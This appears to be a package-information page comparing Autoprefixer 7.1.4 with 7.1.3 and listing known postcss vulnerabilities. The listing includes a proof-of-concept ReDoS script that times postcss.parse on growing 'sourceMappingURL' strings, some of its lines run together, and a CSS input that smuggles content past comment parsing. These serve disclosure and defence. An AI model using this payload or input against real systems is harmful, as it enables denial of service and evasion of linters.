Autoprefixer 7.1.4 represents a minor version update over its predecessor, 7.1.3, offering subtle yet potentially impactful changes for developers leveraging this popular CSS prefixing tool. The core functionality—parsing CSS and adding vendor prefixes based on Can I Use data—remains consistent, ensuring continued support for cross-browser compatibility. Key differences lie in the updated dependencies. 7.1.4 incorporates a newer version of caniuse-lite (1.0.30000726 vs. 1.0.30000718), which translates to more up-to-date browser support data, leading to more accurate and comprehensive prefixing. Furthermore, postcss is updated to version 6.0.11 from 6.0.10.
Developers should also note modifications in the development dependencies. 7.1.4 features upgrades to jest (21.0.1 from 20.0.4), eslint (4.6.1 from 4.5.0), and size-limit (0.11.0 from 0.10.0). These updates likely involve improvements in testing, linting, and bundle size analysis. While these changes are primarily relevant during Autoprefixer's development, they can indirectly lead to a more stable and performant final library. The updated caniuse-lite is the most compelling reason for developers to upgrade, ensuring their CSS is appropriately prefixed for the latest browser landscape. The release date also indicates the newer library.
All the vulnerabilities related to the version 7.1.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.